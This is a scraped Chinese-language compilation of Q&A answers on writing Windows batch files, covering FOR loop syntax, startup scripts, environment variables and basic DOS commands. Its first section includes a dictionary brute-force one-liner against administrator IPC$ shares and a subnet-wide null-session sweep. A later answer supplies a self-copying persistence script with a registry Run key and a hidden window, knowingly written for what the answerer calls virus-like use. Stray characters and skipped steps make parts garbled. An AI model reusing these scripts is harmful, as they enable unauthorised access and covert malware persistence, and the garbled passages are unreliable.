如何配置bat
Ⅰ BAT調用文件配置
一.for命令格式
對一組文件中的每個文件運行指定的命令。
可以在批處理程序中或直接從命令提示符使用 for 命令。
要在批處理程序中使用 for 命令,請使用以下語法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for,請使用以下語法: (區別就是在於變數前的%)
for %variable in (set) do command [command-parameters]
參數
%%variable 或 %variable
代表可替換的參數。for 命令使用在 set 中指定的每稿爛個文本字元串替換 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)處理所有的文件為止。使用 %% variable 在批處理程序中執行 for 命令。使用 % variable 通過命令提示符執行 for 命令。變數檔枝名區分大小寫。
(set)
指定要用指定的命令處理的一個或多個文件或文本字元串。需要括弧。
command
指定要在指定的 set 所包含的每個文件上執行的命令。
command-parameters
指定要用於指定命令(如果指定的命令要使用任何參數或開關)的任何參數或開關。
二.for 命令的其他形式
如果啟用了命令擴展,將支持如下 for 命令的其他格式:
只限於目錄
for /d [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配符(* 和 ?),則指定與目錄名匹配,而不是文件名。
遞歸
for /r [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
進入根目錄樹[drive:]path,在樹的每個目錄中執行 for 語句。如果在 /r 後沒有指定目錄,則假定為當前目錄。如果 set 只是一個句號 (.) 字元,則只列舉目錄樹。
迭代
for /l [%% | %]variable in (start,step,end) do command [command-parameters]
集合是一系列按行敬敏步長量劃分的、從頭到尾的數字。這樣,(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (5 4 3 2 1)。
文件解析
for /f ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /f ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
for /f ["options"] [%% | %]variable in (『command『) do command [command-parameters]
或者,如果出現 usebackq 選項:
for /f ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /f ["options"] [%% | %]variable in (『literal string『) do command [command-parameters]
for /f ["options"] [%% | %]variable in (`command`) docommand [command-parameters]
三.for使用範例
顯示目錄中的文件
假定要使用 type 命令顯示當前目錄中擴展名為 .doc 或 .txt 的所有文件內容。為此,為了使用可替換變數 %f,請在命令提示符後鍵入以下命令:
for %f in (*.doc *.txt) do type %f
在此範例中,當前目錄中擴展名為 .doc 或 .txt 的每個文件都被替代為變數 %f ,直到每個文件的內容都顯示為止。要在批處理文件中使用該命令,只需使用 %%f 替換 %f 的事件。否則,windows 2000 將忽略變數並顯示錯誤信息。
重定向輸出到列印機
windows 2000 支持在指定命令中使用的命令開關、管道和重定向。例如,要將上例中的輸出重定向到 prn(默認的列印機埠),可以鍵入下面的命令:
for %f in (*.doc *.txt) do type %f >; prn:
解析文件
要分析文件並忽略注釋行,可以使用:
for /f "eol=; tokens=2,3* delims=," %i in (myfile.txt) do @echo %i %j %k
這將解析 myfile.txt 文件的每一行,忽略以分號開頭的行,將第二和第三個令牌環傳遞到 for 正文中,令牌環通過逗號和/或空格分隔。注意:for 語句引用 %i 以獲得第二個令牌,引用 %j 以獲得第三個令牌,引用 %k 以獲得第三個令牌之後其餘的全部令牌。對於包含空格的文件名,必須在文件名兩端加上雙引號。為了以此方式使用雙引號,還需要使用 usebackq 選項,否則雙引號將被解釋為定義了要解析的文字字元串。
%i 在 for 語句中明確聲明,並且 %j 和 %k 使用 tokens= option 隱含聲明。如果它不會導致嘗試聲明高於字母「z」或「z」的某個變數,使用 tokens= 行可以指定最多 26 個標記。
記住,for 變數名區分大小寫、全局的,並且每次總體不超過 52 個是活動的。
解析字元串
也可以對相鄰的字元串使用 for /f 分析邏輯,方法是使括弧之間的 filenameset 為一個用單引號引起來的字元串。將它當作文件的單行輸入並進行解析。
解析輸出
最後,可以使用 for /f 命令來對命令的輸出結果進行解析。通過使 filenameset 在反引字元串的括弧之間來執行此操作。將它作為命令行,此命令被傳遞給子 cmd.exe 並將輸出捕獲到內存並進行解析,就象它是一個文件一樣。因此,下面的範例:
for /f "usebackq delims==" %i in (`set`) do @echo %i
這將列舉當前環境中的環境變數名。
四.針對網路探測時使用for命令
1. for /f 「tokens=1,2*」 %i in (filename.txt) do net use \\target\ipc$ %i /u:%j
呵呵,首先/f的參數的含意是解析文件的意思。這將解析 filename.txt 文件的每一行,將第一和第二個令牌環傳遞到 for 正文中,令牌環通過逗號和/或空格分隔。注意:for 語句引用 %i 以獲得第一個令牌,引用 %j 以獲得第二個令牌。(註:我也不大明白令牌在這具體意思,不過可以確定的就是第一個令牌就是每行的第一個字元竄,第二個令牌就是用空格分開的第二個字元竄。呵呵,至於*的意思是這樣的,在令牌 = 字元串中最後一個字元是星號,則將分配附加的變數,並在解析最後一個令牌後在行上接收剩餘的文本。當然如果txt文本的格式如下,只有每行只有兩個字元竄的話就可以省去了。)
filename.txt的內容格式如下:
password username
password administrator
password administrator
password administrator
in ()里添寫上需要解析的文本文件名。
do後面則添加需要執行的命令如net use 、net user等。
(是不是有點對administrator暴力跑ipc%,獲得密碼的味道啊?呵呵,就是字典做的有點累。)
2. for /l %i in(1,1,254) do net use \\x.x.x.%i\ipc$ 「」 /user:「」
/l這個參數是用來控制迭代的。
in()里的集合是一系列按步長量劃分的、從頭到尾的數字。這樣,(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (5 4 3 2 1)。
do 後的用法同上。看看也能明白意思了吧。寫這篇文章也沒什麼特別意思,只是怕自己看到的好東西會忘掉。呵呵,不過總是有啟發的,不是嗎?
其實for用法有很多啊。比如用來添加許可權相同的帳號。你就可以先在記事本里寫好了運行一個for命令不就ok了。不用一個一個的添加,那樣的話還不要累死。當然do後面可以跟更多的參數,可以干更多的類似暴力的事喔。嘿嘿..
Ⅱ 怎麼設置BAT文件常用的命令有哪些
BAT文件不用設置,只是在保存代碼時把後綴改成.BAT即可,常用的命令有Copy goto set x if for assoc 詳細的可以輸入Help查看更多,當然如果系統設置不允許,那就Help不侍消出了,不過互聯網是的好的學習批處理的圖書館!要讓人親自寫給你,我估計乎攔沒幾個,大都是上網載的歲談胡,不過我認為學習電腦很大部分是上互聯網
Ⅲ 如何把.bat文件設置
把這個bat復制到某個文件夾下,當然這個文件夾要找盡量不讓別人發現的,比如在c:\windows\system32\建立一個文件夾kaijiyunxing,然後把你的bat(比如1.bat)復制下去,再在注冊表的run值下寫個開機運行這個文件,這樣就可以完成你要的目的了。
代碼如下(可根據你的需要修改):
@echo off
if exist %homedrive%\windows\system32\kaijiyunxing goto C
md %homedrive%\windows\system32\kaijiyunxing\
%0 %homedrive%\windows\system32\kaijiyunxing\
:C
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\run" /v Start /d "%homedrive%\windows\system32\kaijiyunxing\1.bat" /f
這樣就有開機運行這個bat的效果了,還有什飢或么命令就直接寫在這個的下面就行了。
但是這個運行之後不是後台運行亮陵,用戶可以看到運行的過程,我看LZ的意思好像是要寫什麼類似爛鍵伍病毒的東西,這個的話你就要加一些後台運行的命令了。
這里有我自己覺得比較好的後台運行方式,簡單易懂
【方法1】
前面加上這些
@echo off
if exist 2.vbs goto start
echo set ws=wscript.createobject("wscript.shell") > 2.vbs
echo ws.run "1.bat /start",0 >> 2.vbs
2.vbs & exit
:start
del 2.vbs
。。。。。。。
rem在這個後面寫你的命令,也可加上我剛剛寫的那些!!
這樣可以實現後台運行了
【方法2】
用一個工具Quick Batch File Compiler
再把代碼寫進去之後,在選項欄中標記「幽靈模式」,就可以後台運行了,不過這個工具要生成exe格式的。
Ⅳ win10如何把.bat文件設置為開機自啟動,且運行時顯示cmd窗口
具體方法:
1、打開我的電腦, 在地址欄輸入:「C: MenuPrograms」,如下圖所示:
6、為了桌面美觀,可以刪除:啟動-快捷方式的圖標。
7、重新啟動電腦。
上述就是win10系統添加bat開機自啟動的方法了,希望能夠幫助到大家
Ⅳ bat如何設置臨時系統環境變數
臨時環境變數怎麼設置
環境變數一般是指在操作系統中用來指定操作系統運行環境的一些參數,比如臨時文件夾位置和系統文件夾位置等,當我們在win7系統中安裝應用後都會設置環境變數段羨,而有時候每個應用的環境可能會有沖突,但是又不是一直使用,這時候我們就可以設置臨時環境變數了,那麼win7系統如何設置環境變數呢?下面給大家介紹一下win7臨時環境變數的設置步驟供大家參考!
1、在Win7系統下,同時按下組合快捷鍵「Win+R」開打運行對話框,輸入cmd,然後點擊確定;
2、在cmd命令對話框里,輸入set path然後回車來查看下當前電腦的環境變數;
3、這里我就以java的jdk環境變數設置為例,輸入set path=D:\java 然後回車設置臨時環境變數;
4、設置後,在輸入set path然後回車來查看下修改後的環境變數,發現所有的環境變數都被覆蓋了,這樣可以不行;
5、由於我們設置的是臨時環境變數,所有關掉重新打開個cmd窗口,電腦環境變數就會恢復,然後我們輸入set path=D:\java;%path% 然後回車來設置臨時環境變數;
6、設置後,在輸入set path然臘燃殲後回車來查看下修改後的環境變數,此時環境變數沒有被覆蓋了,而是追加的。
上述輪沖給大家介紹的就是關於win7臨時環境變數的設置步驟,有需要的用戶們可以參照上面的方法步驟進行操作吧,希望能夠對大家有所幫助,
Ⅵ 怎麼樣使用bat設置IE自動腳本配置
方法/步驟
在電腦的任意位置右擊新建一個文本文檔(新建文本文檔.txt),將它的後綴名txt改為bat(新建文本文檔.bat),文件的名字可隨便修改。
Ⅶ 怎麼用bat查看電腦配置!
方法一:
必須是NTFS分區,右鍵磁碟,在安全選項里設置即可!
方法二:
1.打開記事本,輸入以下命令:
netsh interface ip set address 本地連接 source=dhcp
保存為EnableInet.bat,然後保存到C:\WINDOWS\System32\GroupPolicy\User\Scripts\Logon目錄下。
2.新建一個文件,輸入以下命令:
netsh interface ip set address 本地連接 source=static addr=192.168.0.5
mask=255.255.255.0 gateway=none
保存為DisableInet.bat,然後保存到C:\WINDOWS\System32\GroupPolicy\User\Scripts\Logoff目錄下。
3.分別對這兩個腳本文件設置安全許可權,只允許管理員和system具備訪問許可權,其他用戶一律拒絕訪問。
4.打開組策略管理單元,進入用戶配置、Windows設置、腳本(登錄/注銷),設置EnableInet.bat為登錄腳本,設置DisableInet.bat為注銷腳本。
5.重新注銷、並登錄一次,測試腳本工作是否正常。
注:當管理員登錄時,自動運行EnableInet.bat,可以訪問Internet,而當管理員注銷時,會運行DisableInet.bat,清空預設網關設置。由於普通用戶登錄時,沒有許可權運行這兩個腳本,所以無法訪問Internet。
另註:其實無需設置腳本文件的許可權,因為普通用戶無法運行netsh命令來配置網路。
還有問題留言給我!
參考資料:
Ⅷ 如何設置快捷鍵啟動我編寫的.bat
快捷方式放到「開始-程序-啟動「下面,就可以快捷鍵啟動編寫漏含的.bat。
Ⅸ 如何設置BAT文件
我要是給你的話 怕你迷糊 你看看吧 用DOS,可別不知道DOS在哪裡運行,有好幾種方法 1.開始菜單---程序---附件---命令提示符 2.開始菜單---運行---打命令CMD 一、常用DOS命令 (1)cd.. cd.. 退到次一級目錄 cd\ cd\ 退到根目錄下的意思 cd 文件夾名字 cd windows 進入WINDOWS目錄 (2)md 文件夾名字 md win 建立亮鬧名為win的文件夾 (3)rd 文件夾名字 rd win 刪除名為win的文件夾 (前提是win里沒有任何文件) (4) 路徑下文件 目標路徑 C:\1\mima.txt C:\2\ 拷貝文件 (5)del 目標路徑下文件 del C:\1\3\TCP.txt 刪除文件 del c:\1 刪除c盤1目錄所有文件 看見沒mima.txt被刪除了 但是3這個文件夾還沒刪除 只是文件不會刪山鍵巧除ghost里 其他文件夾里的東西。 (6)dir 文件夾名字或盤符 dir c:\windows 查看C盤windows里目錄文件 ---------------------------------------------------------------------------- │dir/W:寬屏顯示,一排顯示5個文件名,而不會顯示修改時間,文件大小等信息;│ │dir/S:顯示當前目錄及其子目錄下所有的文件, │ │dir/a 查看所有文件包括隱藏文件 dir c:\windows /a │ │dir/p 分頁查看 這里的很實用的,大家一定要自己試試 │ ----------------------------------------------------------------------------- (為了節省大家的時間,方框裡面的我就不介紹了,大家自己試試) (7)format 盤符 格式化硬碟 (這個我就不演示了.你問我為什麼,漢.........我心疼我的硬碟^_^) (8)ren 文件名 文件名 改名 ren 1.bat 2.bat 將1.bat改名為2.bat 這幾個文件我還沒創建,現在我們創建一下,好了 (9)type 文件名 查看文件內容(一般用來看bat或txt文件) (10)cls 清屏(沒多大用) 二、常用網路DOS命令 (11)fport 查看系統埠和埠上運行的程序 這個命令我也不知道怎麼了,等我查一下用法,發到論壇上,不好意思, (12)netstat -an 查看所有連接本機IP (13)ipconfig /all 查看所有連接本機IP (14)telnet IP 埠 連接對方機器某個埠 (15)net user 查看本機用戶 net user 用戶名 密碼 /add 建立一個用戶 net user 用戶名 /del 刪除一個用戶 (16)net localgroup administrators 用戶名 /逗鍵add 把用戶添加到管理員 net localgroup administrators 用戶名 /del 把用戶從管理員組刪除 這個就不用演示了,和上面 的一樣 三、批處理文件 批處理。就是批量處理多條命令的文件。 後綴為bat 內容可以自己編輯多條dos命令。他會按照順序自動運行。 (17)怎樣在對方機器DOS窗口下建立批處理文件? con 文件名.bat C:\>cd 2 C:\2>dir 這就是我剛才打的命令 (省略號代表命令) CTRL+Z 存檔退出 這樣一個bat文件也就做好了。我們執行一下 四、其它命令 (18)mem--查看你的計算機內存有多少,以及內存的使用情況 (19)time--顯示和設置DOS的系統時間 Enter the new time: 意思是設置時間,我們按回車就可以跳過去了 (20)date--顯示和設置DOS的系統日期 用法和time命令一樣 (21)ver--顯示正在運行的DOS系統版本號
Ⅹ 我的世界開服bat文件怎麼做
額
你這個bat文件有問題
改成
java -jar craftBukkit-1.7.2-R0.3.jar
pause
其中java可以換成你java的安裝路徑
craftBukkit-1.7.2-R0.3.jar改成的開服包的名字